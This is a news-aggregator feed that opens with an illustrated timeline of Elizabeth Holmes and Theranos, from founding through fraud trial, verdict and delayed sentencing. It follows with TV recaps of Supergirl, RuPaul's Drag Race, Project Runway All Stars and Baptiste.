Shortly after Holmes dropped out of Stanford at age 19, she began dating Theranos president and COO Sunny Balwani, who was 20 years her senior. The two met during Holmes' third year in Stanford’s summer Mandarin program, the summer before she went to college. She was bullied by some of the other students, and Balwani had come to her aid.

Sunny Balwani
Footage of Sunny Balwani presenting.

"60 Minutes"

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Balwani became Holmes' No. 2 at Theranos despite having little experience. He was said to be a bully, and often tracked his employees' whereabouts. Holmes and Balwani eventually broke up in spring 2016 when Holmes pushed him out of the company.

sunny balwani
Sunny Balwani pictured in January 2019.

Justin Sullivan/Getty Images

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

In 2008, the Theranos board decided to remove Holmes as CEO in favor of someone more experienced. But over the course of a two-hour meeting, Holmes convinced them to let her stay in charge of her company.

elizabeth holmes

Jamie McCarthy / Getty

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

As Theranos started to rake in millions of funding, Holmes became the subject of media attention and acclaim in the tech world. She graced the covers of Fortune and Forbes, gave a TED Talk, and spoke on panels with Bill Clinton and Alibaba's Jack Ma.

Bill Clinton Elizabeth Holmes Jack Ma
Elizabeth Holmes with former President Bill Clinton, left, and Alibaba cofounder Jack Ma.

Andrew Burton/Getty Images

Source: Vanity Fair

Theranos quickly began securing outside partnerships. Capital Blue Cross and Cleveland Clinic signed on to offer Theranos tests to their patients, and Walgreens made a deal to open Theranos testing centers in their stores. Theranos also formed a secret partnership with Safeway worth $ 350 million.

theranos review
A Theranos testing center inside a Walgreens.

Melia Robinson/Business Insider

Source: Wired, Business Insider

In 2011, Holmes hired her younger brother, Christian, to work at Theranos, although he didn’t have a medical or science background. Christian Holmes spent his early days at Theranos reading about sports online and recruiting his Duke University fraternity brothers to join the company. People dubbed Holmes and his crew the "Frat Pack" and "Therabros."

elizabeth christian holmes
Elizabeth Holmes and her brother, Christian.

Andrew Harrer/Bloomberg via Getty Images

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

At one point, Holmes was the world's youngest self-made female billionaire with a net worth of around $ 4.5 billion.

Elizabeth Holmes

Kimberly White/Getty Images for Breakthrough Prize

Source: Forbes

Holmes was obsessed with security at Theranos. She asked anyone who visited the company’s headquarters to sign non-disclosure agreements before being allowed in the building, and had security guards escort visitors everywhere — even to the bathroom.

Audi A8 sedan

Michael Dalder/Reuters

 

Holmes hired bodyguards to drive her around in a black Audi sedan. Her nickname was "Eagle One." The windows in her office had bulletproof glass.

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Around the same time, questions were being raised about Theranos' technology. Ian Gibbons — chief scientist at Theranos and one of the company's first hires — warned Holmes that the tests weren't ready for the public to take, and that there were inaccuracies in the technology. Outside scientists began voicing their concerns about Theranos, too.

theranos review melia robinson

Melia Robinson/Tech Insider

Source: Vanity Fair, Business Insider

By August 2015, the FDA began investigating Theranos, and regulators from the government body that oversees laboratories found "major inaccuracies" in the testing Theranos was doing on patients.

protein lab pharmaceuticals

Mike Segar/Reuters

Source: Vanity Fair

By October 2015, Wall Street Journal reporter John Carreyrou published his investigation into Theranos's struggles with its technology. Carreyrou's reporting sparked the beginning of the company's downward spiral.

Wall Street Journal reporter John Carreyrou
Wall Street Journal reporter John Carreyrou.

CBS "60 Minutes"

Source: Wall Street Journal

Carreyrou found that Theranos' blood-testing machine, named Edison, couldn't give accurate results, so Theranos was running its samples through the same machines used by traditional blood-testing companies.

Flint Michigan lead crisis blood test

Carlos Osorio/AP

Source: Wall Street Journal

Holmes appeared on CNBC's "Mad Money" shortly after the WSJ published its story to defend herself and Theranos. "This is what happens when you work to change things, and first they think you're crazy, then they fight you, and then all of a sudden you change the world," Holmes said.

Elizabeth Holmes Mad Money

CNBC/YouTube

Source: CNBC

By 2016, the FDA, Centers for Medicare & Medicaid Services, and SEC were all looking into Theranos.

Elizabeth Holmes

Getty

Source: Wall Street Journal, Wired

In July 2016, Holmes was banned from the lab-testing industry for two years. By October, Theranos had shut down its lab operations and wellness centers.

Elizabeth Holmes

Mike Blake/Reuters

Source: Business Insider

In March 2018, Theranos, Holmes, and Balwani were charged with "massive fraud" by the SEC. Holmes agreed to give up financial and voting control of the company, pay a $ 500,000 fine, and return 18.9 million shares of Theranos stock. She also isn't allowed to be the director or officer of a publicly traded company for 10 years.

Elizabeth Holmes

Jeff Chiu/AP

Source: Business Insider

Despite the charges, Holmes was allowed to stay on as CEO of Theranos, since it's a private company. The company had been hanging on by a thread, and Holmes wrote to investors asking for more money to save Theranos. "In light of where we are, this is no easy ask," Holmes wrote.

Elizabeth Holmes

Kimberly White/Getty Images for Fortune

Source: Business Insider

In Theranos' final days, Holmes reportedly got a Siberian husky puppy named Balto that she brought into the office. However, the dog wasn't potty trained, and would go to the bathroom inside the company's office and during meetings.

Siberian Huskies
A Siberian husky (not Holmes' dog).

Kateryna Orlova/Shutterstock

Source: Vanity Fair

In June 2018, Theranos announced that Holmes was stepping down as CEO. On the same day, the Department of Justice announced that a federal grand jury had charged Holmes, along with Balwani, with nine counts of wire fraud and two counts of conspiracy to commit wire fraud.

Elizabeth Holmes
Elizabeth Holmes, founder and CEO of Theranos, speaks at the Wall Street Journal Digital Live (WSJDLive) conference at the Montage hotel in Laguna Beach, California, October 21, 2015.

Mike Blake/Reuters

Source: Business Insider, CNBC

Theranos sent an email to shareholders in September 2018 announcing that the company was shutting down. Theranos reportedly said it planned to spend the next few months repaying creditors with its remaining resources.

Elizabeth Holmes

Mike Blake/Reuters

Source: Wall Street Journal

Around the time Theranos' time was coming to an end, Holmes made her first public appearance alongside William "Billy" Evans, a 27-year-old heir to a hospitality property management company in California. The two reportedly first met in 2017, and were seen together in 2018 at Burning Man, the art festival in the Nevada desert.

burning man

Jim Rankin/Toronto Star via Getty Images

Source: Daily Mail

Holmes is said to wear Evans' MIT "signet ring" on a chain around her neck, and the couple reportedly posts photos "professing their love for each other" on a private Instagram account. Evans' parents are reportedly "flabbergasted" at their son's decision to marry Holmes.

Source: Vanity Fair, New York Post

It's unclear where Holmes and Evans currently reside, but they were previously living in a $ 5,000-a-month apartment in San Francisco until April 2019. The apartment was located just a few blocks from one of the city's top tourist attractions, the famously crooked block of Lombard Street.

elizabeth holmes san francisco apartment
Lombard Place Apartments, where Holmes used to live.

Rent SF Now

Source: Business Insider

It was later reported that Holmes and Evans got engaged in early 2019, then married in June in a secretive wedding ceremony. Former Theranos employees were reportedly not invited to the wedding, according to Vanity Fair.

elizabeth holmes theranos 4x3

Gilbert Carrasquillo/Getty Images; Samantha Lee/Business Insider

Source: Vanity Fair, New York Post

Holmes' and Balwani's cases have since been separated.

Elizabeth Holmes Sunny Balwani

Justin Silva/Getty, Stephen Lam/Reuters, Business Insider

Source: Department of Justice, Business Insider

Besides the criminal case, Holmes was also involved in a number of civil lawsuits, including one in Arizona brought by former Theranos patients over inaccurate blood tests. The lawyers representing her in the Arizona case said in late 2019 they hadn't been paid over a year and asked to be removed from Holmes' legal team.

Elizabeth Holmes Theranos court
Former Theranos CEO Elizabeth Holmes leaves after a hearing at a federal court.

Reuters/Stephen Lam

Source: Business Insider

Holmes' lawyers in the federal case had tried to get the government's entire case thrown out. In February 2020, Holmes caught a break after some of the charges against her were dropped when a judge ruled that some patients didn't suffer financial loss.

Elizabeth Holmes

Brendan McDermid/Reuters

Source: Business Insider

Amid the coronavirus outbreak, Holmes' lawyers asked the judge in April 2020 to deem the case "essential" so the defense team could defy lockdown orders and continue to travel and meet face-to-face. The judge said he was "taken aback" by the defense's pleas to violate lockdown.

Federal Courthouse san jose

Reuters/Robert Galbraith

Source: Business Insider

 

It soon become clear that the pandemic — and the health risks associated with assembling a trial in one — would make the July trial date unrealistic. Through hearings held on Zoom, the presiding judge initially pushed the trial back to October 2020 and later postponed it further to March 2021.

airport coronavirus masks
Passengers wear masks as they walk through LAX airport.

Reuters/Lucy Nicholson

Source: Business Insider

 

In March 2021, Holmes requested another delay to the trial because she was pregnant. She asked to push back the trial to August 31, and her request was granted. Holmes reportedly gave birth to the child in July.

Elizabeth Holmes

Nhat V. Meyer/MediaNews Group/Mercury News via Getty Images

Source: Business Insider, CNBC

Heading into the trial, Holmes felt "wronged, like Salem-witch-trial wronged," says a person who used to work with her closely.

Elizabeth Holmes
Holmes, right, leaving the Robert F. Peckham Federal Building in San Jose, California with her defense team on May 4, 2021.

Nhat V. Meyer/MediaNews Group/Mercury News via Getty Images

Source: Business Insider

The trial kicked off in September. In opening statements, prosecutors argued that, "Out of time and out of money, Elizabeth Holmes decided to lie." Meanwhile, the defense argued that although Theranos ultimately crumbled, "Failure is not a crime. Trying your hardest and coming up short is not a crime."

Elizabeth Holmes and her legal team arriving August 31 for her federal fraud trial
Theranos founder Elizabeth Holmes arrives at the Robert F. Peckham Federal Building with her defense team on August 31, 2021 in San Jose, California.

Ethan Swope/Getty Images

Source: Business Insider

 

The list of possible witnesses for the trial named roughly 200 people, including the likes of Rupert Murdoch, Henry Kissinger, James Mattis, and Holmes herself.

elizabeth holmes trial
Theranos founder Elizabeth Holmes leaves the Robert F. Peckham U.S. Courthouse with her mother, Noel Holmes, during her trial.

Brittany Hosea-Small/Reuters

Source: Business Insider

In the end, the trial featured testimony from just over 30 witnesses.

Elizabeth Holmes trial sketch.

Vicki Behringer/Reuters

Source: Business Insider

Over the course of 11 weeks, prosecutors called 29 witnesses to testify — including former Theranos employees, investors, patients, and doctors — before resting their case in November.

Elizabeth Holmes trial sketch

Vicki Behringer

Source: Business Insider

 

The defense then began making its case, calling just three witnesses, including Holmes herself.

Theranos founder Elizabeth Holmes leaves the Robert F. Peckham Federal Building and U.S. Courthouse in San Jose, California

Jane Tyska/Digital First Media/The Mercury News via Getty Images

Source: Business Insider

On the stand, Holmes said Balwani emotionally and sexually abused her during their relationship.

Elizabeth Holmes, founder and former CEO of Theranos, arrives for motion hearing on Monday, November 4, 2019, at the U.S. District Court House inside Robert F. Peckham Federal Building in San Jose, California. And former Theranos COO Ramesh "Sunny' Balwani leaves the Robert F. Peckham U.S. Federal Court on June 28, 2019 in San Jose, California.

Yichuan Cao/NurPhoto via Getty Images (Holmes). Justin Sullivan/Getty Images (Balwani).

Source: Business Insider

Holmes testified that Balwani controlled what she ate and how her schedule looked, told her she had to "become a new Elizabeth" to succeed in business, and forced her to have sex with him when she didn't want to because "he would say that he wanted me to know he still loved me."

Former Theranos COO Ramesh "Sunny' Balwani walks outside a federal courthouse in San Jose, California
Former Theranos COO Ramesh "Sunny' Balwani leaves the Robert F. Peckham U.S. Federal Court on June 28, 2019 in San Jose, California.

Justin Sullivan/Getty Images

Source: Business Insider

Holmes also admitted that she added some pharmaceutical companies' logos to Theranos' reports without authorization. Investors previously said they took some reassurance in those reports because, based on the logos, they thought major pharmaceutical companies had validated Theranos' technology. Holmes said she added the logos to convey that work was done in partnership with those companies, but in hindsight she wishes she had "done it differently."

Theranos founder and former CEO Elizabeth Holmes (L) walks with her mother Noel Holmes as they arrive for Elizabeth Holmes's trial at the Robert F. Peckham Federal Building on November 17, 2021 in San Jose, California.

Justin Sullivan/Getty Images

Source: Business Insider

Holmes also acknowledged on the stand that she hid Theranos' use of modified commercial devices from investors. She said she did this because company counsel told her that alterations the company made to the machines were trade secrets and needed to be protected as such.

Theranos founder Elizabeth Holmes leaves after attending her fraud trial at federal court in San Jose, California, U.S. November 22, 2021

Brittany Hosea-Small/Reuters

Source: Business Insider

Holmes spent seven days on the stand before the defense rested its case in early December.

Theranos founder Elizabeth Holmes wears a blue mask walking to federal court
Theranos founder Elizabeth Holmes arrives to attend her fraud trial at federal court in San Jose, California, U.S., December 16, 2021.

Peter DaSilva/Reuters

Source: Business Insider

In closing arguments, prosecutors argued that Holmes "chose fraud over business failure" while the defense argued she was "building a business, not a criminal enterprise."

Theranos founder Elizabeth Holmes wears a blue mask in federal court
Elizabeth Holmes walks into federal court in San Jose, Calif., Friday, Dec. 17, 2021.

Nic Coury/Associated Press

Source: Business Insider

After 15 weeks of trial, Holmes' case headed to a jury of eight men and four women on December 17.

Elizabeth Holmes, Billy Evans leaving court
Elizabeth Holmes, founder and former CEO of blood testing and life sciences company Theranos, leaves the courthouse with her husband Billy Evans after the first day of her fraud trial in San Jose, California on September 8, 2021.

Nick Otto/AFP/Getty Images

Source: Business Insider

Jurors deliberated for a total of seven days over the next few weeks before telling the court on January 3 that they were deadlocked on three of the 11 charges against Holmes. The judge read off some jury instructions to the group in court before instructing them to go back and deliberate further.

Theranos founder Elizabeth Holmes is seen wearing a blue mask and gray sweater in a courthouse

Kate Munsch/Reuters

Source: Business Insider

Hours later, the jury returned a mixed verdict for Holmes, finding her guilty on one count of conspiracy to defraud investors and three counts of wire fraud. They found her not guilty on four other counts and failed to reach a verdict on the remaining three counts.

Theranos founder and former CEO Elizabeth Holmes arrives for her trial at the Robert F. Peckham Federal Building on December 07, 2021 in San Jose, California. Holmes is facing charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood testing lab services.

Justin Sullivan/Getty Images

Source: Business Insider

The counts Holmes was found guilty of were all related to investments; she wasn't convicted on any of the charges involving patients who received inaccurate test results.

Theranos founder and former CEO Elizabeth Holmes (C) and her mother Noel Holmes leave the Robert F. Peckham Federal Building on January 3, 2022 in San Jose, California.

David Odisho/Getty Images

Source: Business Insider

Holmes now faces the possibility of decades in prison. Each count carries a maximum 20-year prison sentence, a $ 250,000 fine, and a requirement to pay victims restitution.

FILE - Elizabeth Holmes, founder and CEO of Theranos, arrives at the federal courthouse for jury selection in her trial, Tuesday, Aug. 31, 2021, in San Jose, Calif. A Fortune magazine reporter whose story helped turn Holmes into a Silicon Valley sensation came to court Thursday, Nov. 18 to explain how he ended up feeling like a pawn in the entrepreneur's promotion of what she called a revolutionary blood-testing technology.

AP Photo/Nic Coury, File

Source: Business Insider

 

Legal experts told Insider it's unlikely Holmes will get 20 years at sentencing, but she probably won't get off without serving any time either.

Theranos founder Elizabeth Holmes in a black suit jacket in a San Jose courtroom

Justin Sullivan/Getty Images

Source: Business Insider

Holmes was not taken into custody following the verdict and will remain free until her sentencing on a $ 500,000 bond secured by property.

Theranos founder Elizabeth Holmes and her partner Billy Evans stand outside a courtroom with a crowd of people nearby

Peter DaSilva/Reuters

Source: Business Insider

Since the conviction, Holmes and Theranos have been the focus of a Hulu limited series, "The Dropout," based on the ABC News podcast of the same name.

Amanda Seyfried as Elizabeth Holmes in "The Dropout" on Hulu (left); Elizabeth Holmes (right)
Amanda Seyfried in "The Dropout" (left); Elizabeth Holmes (right)

Beth Dubber/Hulu; Steve Jennings/Getty Images for TechCrunch

Source: Business Insider

Holmes is played by Amanda Seyfried in the dramatized series, which asks the question, "How did the world's youngest self-made female billionaire lose it all in the blink of an eye?"

Amanda Seyfried dressed in black on the phone sitting on the floor
Amanda Seyfried in "The Dropout."

Hulu

Source: Hulu

The show premiered March 3 and also stars Naveen Andrews as Balwani, Holmes' right-hand man at Theranos. Balwani's fraud trial began in March.

Naveen Andrews and Sunny Balwani

Beth Dubber/Hulu; Michael Short/Bloomberg via Getty Images

Source: Business Insider

 

Now, Holmes is pleading with a judge to toss her conviction.

In this Monday, Nov. 2, 2015 file photo, Elizabeth Holmes, founder and CEO of Theranos, speaks at the Fortune Global Forum in San Francisco.

AP

Source: Business Insider

 

In a 24-page filing on May 27, Holmes' attorneys argued for her acquittal, saying the evidence was "insufficient to sustain the convictions."

Elizabeth Holmes and partner Billy Evans pause outside of federal court after she was found guilty on 4 of 11 accounts faced in her fraud trial in San Jose, California, January 3, 2022. - Fallen US biotech star Elizabeth Holmes was convicted on Monday of defrauding investors in her blood-testing startup Theranos, in a high-profile case seen as an indictment of Silicon Valley culture. Jurors took seven days of deliberations to reach their verdict, finding her guilty of four counts of tricking investors into pouring money into what she claimed was a revolutionary testing system.

Nick Otto/AFP via Getty Images

Source: Business Insider

They wrote, "Because no rational juror could have found the elements of wire fraud and conspiracy to commit wire fraud beyond a reasonable doubt on this record, the Court should grant Ms. Holmes' motion for judgment of acquittal."

SAN JOSE, CA - DECEMBER 23: Billy Evans walks with his partner Theranos founder and former CEO Elizabeth Holmes and her mother Noel Holmes as they leave the Robert F. Peckham Federal Building on December 23, 2021 in San Jose, California. Jury deliberations continue in the Elizabeth Holmes fraud trial as she faces charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood-testing lab services.

David Odisho/Getty Images

Source: Business Insider

"Even if Ms. Holmes committed wire fraud against an investor (she did not) and even if Mr. Balwani committed wire fraud against an investor, that does not prove a conspiratorial agreement between them, nor does it prove that Ms. Holmes willfully joined any agreement," the attorneys continued in the filing.

SAN JOSE, CALIFORNIA - DECEMBER 17: Theranos founder and former CEO Elizabeth Holmes leaves the Robert F. Peckham Federal Building on December 17, 2021 in San Jose, California. Lawyers made their closing arguments in the Elizabeth Holmes fraud trial and the jury will begin deliberations. Holmes is facing charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood testing lab services.

Justin Sullivan/Getty Images

Source: Business Insider

Such appeals are common in cases like these, and legal experts expected Holmes would try to get her conviction overturned.

SAN JOSE, CA - January 03: Theranos founder Elizabeth Holmes, center, and her family leave the Robert F. Peckham Federal Building and U.S. Courthouse after the jury found her guilty on four counts in San Jose, Calif., on Monday, Jan. 3, 2022. Holmes was found guilty of four counts of defrauding investors, each carrying a maximum penalty of 20 years in prison.

Dai Sugano/MediaNews Group/The Mercury News via Getty Images

Source: Business Insider

The judge in Holmes' case set a hearing for July to weigh her request.

SAN JOSE, CA - DECEMBER 23: Billy Evans walks with his partner Theranos founder and former CEO Elizabeth Holmes and her mother Noel Holmes as they leave the Robert F. Peckham Federal Building on December 23, 2021 in San Jose, California. Jury deliberations continue in the Elizabeth Holmes fraud trial as she faces charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood-testing lab services.

David Odisho/Getty Images

Source: Business Insider

 

Meanwhile, Balwani was convicted on 12 fraud-related charges. The jury came back with a conviction after deliberating for five days.

Sunny Balwani going through security at the courthouse.
Former Theranos COO Ramesh "Sunny" Balwani goes through a security checkpoint as he arrives at the Robert F. Peckham U.S. Federal Court on March 10, 2022 in San Jose, California.

Justin Sullivan/Getty Images

Source: Business Insider

Both of them now await sentencing. Balwani's sentencing hearing is set for November 15. Holmes' sentencing date was originally slated for September 26, but it has since been delayed to October 17. No reason was provided for the delay.

A judge holding a gavel in a courtroom.

Chris Ryan/Getty

Source: Law360

Paige Leskin and Maya Kosoff contributed to earlier versions of this story.

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]]> https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/feed/ 0 Supergirl Finale Recap: Did Kara and Lena Make Nice? And Whose Fate Is in Limbo Until Spring 2021? https://briefnews.eu/supergirl-finale-recap-did-kara-and-lena-make-nice-and-whose-fate-is-in-limbo-until-spring-2021/ https://briefnews.eu/supergirl-finale-recap-did-kara-and-lena-make-nice-and-whose-fate-is-in-limbo-until-spring-2021/#respond Mon, 18 May 2020 04:13:47 +0000 https://briefnews.eu/supergirl-finale-recap-did-kara-and-lena-make-nice-and-whose-fate-is-in-limbo-until-spring-2021/

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Supersuits were in great supply as Supergirl brought Season 5 to a close, one episode early and with the CW series not expected to return until, like, Spring 2021. Once the dust cleared, whose life was left in limbo for this super-long hiatus?

Knowing that Rama Khan and Gamemnae are planning their big move, Kara was ready to swing into action — with newly supersuited Alex among those at her side! — but she knew she’d need protection against the gods’ abundant stash of kryptonite. (Shhh, no one tell Luke Fox.) Lena offered to fashion her a protective suit (as she did in the pre-Crisis world), so as Kara sneaked over to Lena’s lab, J’onn and M’gann disguised themselves as the Girl of Steel to team with Nia and Alex and draw out/distract Rama Khan and the other immortals. As they did so, Nia repeatedly dreamed of Brainy being green and in jeopardy — but why?

Well, Lex had been afforded entry to the Leviathan spaceship hidden within the “casino,” outfitted with a pin that protects him from the powerful force field surrounding it. Later looped in on the ship’s location and aware that Lex plans to first kill Supergirl and all her friends before letting him deal with the gods, Brainy decided to sneak into the ship, to upload code that would shrink Rama Khan et al. But to do so required him standing at the console, not moving, for a full 10 minutes, all as the deadly force field attacked him. But with his female counterpart at his side, Brainy endeavored.

Kara and Lena meanwhile saved Eve during one showdown with the gods, and later leaned on her for intel on Lex’s plan. Admitting that her mother had been threatened, Eve detailed the scheme to draw billions of people into the Obsidian VR world for the Unity Festival… and then kill them all. Unable to power down the tech, Kara entered the virtual space herself to deliver one of her speeches. To help things along, Lena multiplied Kara so she could have one-on-ones with each user, speaking not of hope, actually, but about believing in people. Meanwhile in the real world, Lena talked down Andrea, who had been “activated” by Gemma, from killing Supergirl, saying that she believes in her. Just as Brainy’s female other nudged him along, saying she believed in him.

When all was said and done, Kara talked the users into exiting the VR world, Brainy shrunk the gods, and Lena stopped Andrea. Afterwards, Kara — who earlier had given Lena a tongue-lashing for overly punishing her for one understandable lie — officially accepted Lena’s apology, recognizing all that she had done this episode to save her. The two then shook hands and united to take down one last bad guy — Lena’s brother.

Speaking of….

Lex found a grim-looking Brainy on the Leviathan ship, gloating that he knew he would be betrayed in the end. So, Brainy in fact did just as Lex hoped, “bottling up” the shrunk gods. Lex then delivered said container to his mother, saying, “Let’s get to work, doc….”


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]]> https://briefnews.eu/supergirl-finale-recap-did-kara-and-lena-make-nice-and-whose-fate-is-in-limbo-until-spring-2021/feed/ 0 Drag Race Recap: Whose Snatch Game Persona Made the Judges Seasick? https://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/ https://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/#respond Fri, 19 Apr 2019 03:29:02 +0000 http://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/

The Snatch Game hit the high seas on Thursday’s episode of RuPaul’s Drag Race, which ended with the season’s fiercest lip sync battle yet — and a dramatic ruling from Mama Ru. But first…

Inspired by the release of RuPaul’s new book GuRu — available online or wherever fine literature is sold — this week’s mini challenge required the remaining eight queens to pitch their own books to Mama Ru, complete with a cover shoot. The winning book ended up being Silky Nutmeg Ganache’s Eat It: Chronicles of the Buffet, foreshadowing a very successful evening for Yvie Oddly’s apparent nemesis.

Speaking of that growing feud, Yvie apologized for calling Silky “talentless” during last week’s Untucked, but it was too little too late. “We ain’t got to be friends,” Silky replied. “Moving forward, I’m just doing me.” (Honestly, I don’t know how I’m supposed to feel about this. I thought Yvie’s apology was genuine, but I also understand that “talentless” is a pretty hard thing to come back from.)

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But let’s ditch the drama for now and focus on the comedy — or lack thereof, in some cases — with a breakdown of each queen’s performance in the Snatch Game… at Sea!

SILKY NUTMEG GANACHE | Full disclosure: I had no idea who Ts Madison was before tonight, so I only have Silky’s description to go on, but I was thoroughly entertained by her Snatch Game performance. I was a little annoyed when it seemed like her whole schtick was going to involve picking on other players, but in the end, she turned it out. I wasn’t wowed by her runway look, which was basically a sparklier version of the same silhouette she’s been giving us all season, but it certainly didn’t suck.

YVIE ODDLY | I know Yvie sort of warned us ahead of time by saying that she “doesn’t do impersonations very well,” but I still wasn’t prepared for the utter nonsense that was her Whoopi Goldberg impression. It was all wrong, but the fact that Yvie didn’t even know Whoopi is on The View was perhaps the most egregious part. And while I didn’t hate Yvie’s androgynous 1960s Barbie look on the runway, it wasn’t enough to keep her off the chopping block.

BROOKE LYNN HYTES | I’m not just surprised by Brooke Lynn’s awful Celine Dion impression — I’m legitimately baffled. Like, I know she said she was “not feeling super confident” about her choice, but this was next-level bad. And from Drag Race‘s first-ever Canadian queen, no less! She will absolutely be hearing from Justin Trudeau about this, let me tell you. In fact, I think Silky put it best when she said, “It’s not even Celine Dion. It’s Celine, YA DONE!” That said, Brooke Lynn redeemed herself (somewhat) with that incredible “Nomi Malone 2019” runway look, complete with what Tony Hale correctly declared one of the most iconic runway Ru-veals of all time.

NINA WEST | Even though she didn’t technically win either of the challenges, I feel like this was a real showcase episode for Nina, who slayed as both Harvey Fierstein and Jo Anne Worley in the Snatch Game. Her runway look, “a red, white and blue patriotic extravangza” was also very fun, very campy and very Nina. This is an underrated queen, my friends.

VANESSA VANJIE MATEO | Real talk: I would have reserved one of this week’s bottom spots for everyone’s favorite comeback queen, who became the source of a heated debate between Ross Mathews and Michelle Visage. When Visage pointed out that Vanjie failed to embody her character — Danielle “Cash Me Outside” Bregoli — in any way, Mathews argued that it didn’t matter. He said it’s just fun to watch Vanjie be Vanjie, likening her to Julia Roberts. (…What?!) I also agreed with Visage’s critique of Vanjie’s runway getup, yet another minor variation of the same look she’s been serving all season.

PLASTIQUE TIARA | Even with basically zero knowledge of Love and Hip-Hop: Atlanta star/nail artist Lovely Mimi, I enjoyed Plastique’s contribution to the Snatch Game. I also thought she looked good walking down the runway in that blue, bubbly catsuit. Nothing was particularly outstanding about her work this week, but it was sufficient.

SHUGA CAIN | For some reason, the word “professional” comes to mind when thinking about Shuga’s performance this week. Her Charo impression, both in looks and behavior, was spot on, and she stunned on the runway in that enormous purple flamenco-style dress. If she’d taken things up just a few more notches, she might have had a shot at winning this week.

A’KERIA C. DAVENPORT | Tiffany Haddish may not have been heard tonight, but A’Keria definitely embodied the star of Girls Trip during the Snatch Game, hitting all the basic beats you were probably hoping for — from the Groupon Ru-pon joke to the grapefruit reference. She also made a fun impression on the runway, swinging that tail around like nobody’s business.

After handing Silky her second win of the week, Ru announced that Brooke Lynn and Yvie would be lip syncing for their lives. Little did we know we were about to experience an insane battle — set to the tune of Demi Lovato’s “Sorry Not Sorry” — that featured more athleticism than the damn Draglympics. What began as a simple sexy (Brooke Lynn) vs. funny (Yvie) situation quickly evolved into a dizzying deluge of flips and splits and wig reveals. I was convinced that Ru wasn’t going to send either queen home. I mean, how could anyone choose between them?!

In the end… she couldn’t. “Shantay, you both stay,” Ru told them, an announcement met with much applause. (Well, from everyone but Silky.)

Your thoughts on this week’s episode? Drop ’em in a comment below.

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]]> https://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/feed/ 0 Project Runway All Stars Recap: Whose Ball Gown Wasn't Fit to Be Thai'd? https://briefnews.eu/project-runway-all-stars-recap-whose-ball-gown-wasnt-fit-to-be-thaid/ https://briefnews.eu/project-runway-all-stars-recap-whose-ball-gown-wasnt-fit-to-be-thaid/#respond Thu, 14 Mar 2019 02:07:38 +0000 http://briefnews.eu/project-runway-all-stars-recap-whose-ball-gown-wasnt-fit-to-be-thaid/

Royal fever swept Wednesday’s Project Runway All Stars, which tasked the remaining five designers with creating ball gowns using luxurious silks. To elevate this experience, the challenge was presented by special guest judge Nina Garcia, a longtime member of Runway’s royal court.

And while tensions certainly ran high this week, the outcome was fairly predictable. From the moment the challenge was announced, Irina Shabayeva’s fellow contestants projected that she would win, given her extensive gown-designing experience. And even though she did come out on top with her “dynamite” design — a modern, sexier version of a ball gown that would be more suited for a young royal — she didn’t appreciate everyone assuming that the win would come easily to her, like she didn’t need to work hard for it. (I sure hope someone on the plane plays the world’s tiniest violin for Irina during her all-expenses-paid trip to Thailand.)

Meanwhile, Dmitry Sholokhov’s Downton Abbey-approved black-and-floral dress earned him a spot in the “safe” zone this week, as did Evan Biddell’s red pleated number. (For what it’s worth, the judges said Evan’s design nearly earned him the win over Irina.)

That leaves us with this week’s bottom two: Michelle Lesniak and Anthony Ryan Auld, both of whom made Isaac Mizrahi “mad” with their haphazard nonsense gowns. Michelle immediately regretted the colors she picked up at Mood (Anthony Ryan likened them to Starburst flavors), and even though she felt the finished product was somewhat “charming,” she didn’t like the way it moved — nor did the judges, who agreed it wasn’t an appropriate outfit for a royal ball. As for Anthony’s feathery ensemble, the judges called it “sad” and “awkward,” with Isaac straight-up saying he didn’t understand it.

“I have mentally prepared to go home,” Anthony Ryan said at the top of the hour, which was good, because he was indeed the designer eliminated this week.

Do you think he should have been the one sent packing, or would you have kept him over Michelle? Drop a comment with your thoughts below.

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]]> https://briefnews.eu/project-runway-all-stars-recap-whose-ball-gown-wasnt-fit-to-be-thaid/feed/ 0 Baptiste on BBC spoilers: Whose head is in Edward Stratton's basement? https://briefnews.eu/baptiste-on-bbc-spoilers-whose-head-is-in-edward-strattons-basement/ https://briefnews.eu/baptiste-on-bbc-spoilers-whose-head-is-in-edward-strattons-basement/#respond Sun, 24 Feb 2019 22:39:33 +0000 http://briefnews.eu/baptiste-on-bbc-spoilers-whose-head-is-in-edward-strattons-basement/

BBC drama series Baptiste took another twist this evening (Sunday, February 24) as further secrets came spilling out. Episode two of Baptiste was called Measure of a Man and shed further light on the mysterious Edward Stratton (played by Tom Hollander) as Julien Baptiste (Tchéky Karyo) dug deeper into the case. Much like the opening instalment, episode two also saw things ending on a tantalising scene.

WARNING: This article contains spoilers from Baptiste episode 2

Measure of a Man saw Julien making a grisly discovery in Edward’s basement after he found the head of the murdered man from episode one.

As fans will remember, an old man living by the sea was brutally murdered by a Romanian gang member posing as the gas meter man.

The head of the victim was then revealed to have made its way across the Channel and ended up in Edward’s basement where it remained rotting and attracting a multitude of flies.

We have yet to receive an explanation as to why the head is there, but it looks like episode three will reveal all after Edward looked like it was going to confess all to Julien.

HOW MANY EPISODES ARE IN BAPTISTE ON BBC?

Whose head is in Edward Stratton’s basement?

Although we are still in the dark over why the man was killed in the first place, there have been some clues about his identity.

A quick glance at the cast list for episode one on the BBC’s official Baptiste website reveals the character is called Richard Stratton and the actor is Nicholas Woodeson.

The character is one of the few to have a full name – and it’s significant because it suggests a link between Edward and the murdered man.

Could this cast list be an Easter Egg left by the writers Harry and Jack Williams? The surname Stratton suggests there’s a deeper family affair here than one first glance.

BAPTISTE ON BBC CAST

